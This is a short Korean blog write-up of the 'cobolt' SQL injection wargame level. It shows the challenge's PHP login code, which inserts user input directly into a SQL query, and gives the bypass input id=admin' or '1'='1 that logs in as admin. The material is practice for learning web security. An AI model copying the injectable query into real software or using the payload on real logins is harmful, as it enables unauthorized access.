[los] cobolt

HW·2024년 9월 25일

<문제>

gremlin 문제와 유사하다.
이 문제에서는 pw가 MD5 해시로 변환되어 저장된다.

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; // 입력한 id와 pw로 SQL쿼리를 생성(pw는 MD5 해시로 변환되어 저장됨)
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); // 쿼리를 실행하고, $result 변수에 쿼리 실행 결과를 배열 형태로 저장
  if($result['id'] == 'admin') solve("cobolt"); // $result['id']의 값이 'admin'이라면 문제를 해결한 것
  elseif($result['id']) echo "<h2>Hello {$result['id']} <br>You are not admin :(</h2>"; // $result에 id가 존재하지만 'admin'이 아닐 경우 해당 메시지 출력
  highlight_file(__FILE__); 
?>

id가 admin, pw 조건이 무시(주석처리)되도록
id=admin' or '1'='1 입력


Clear!

0개의 댓글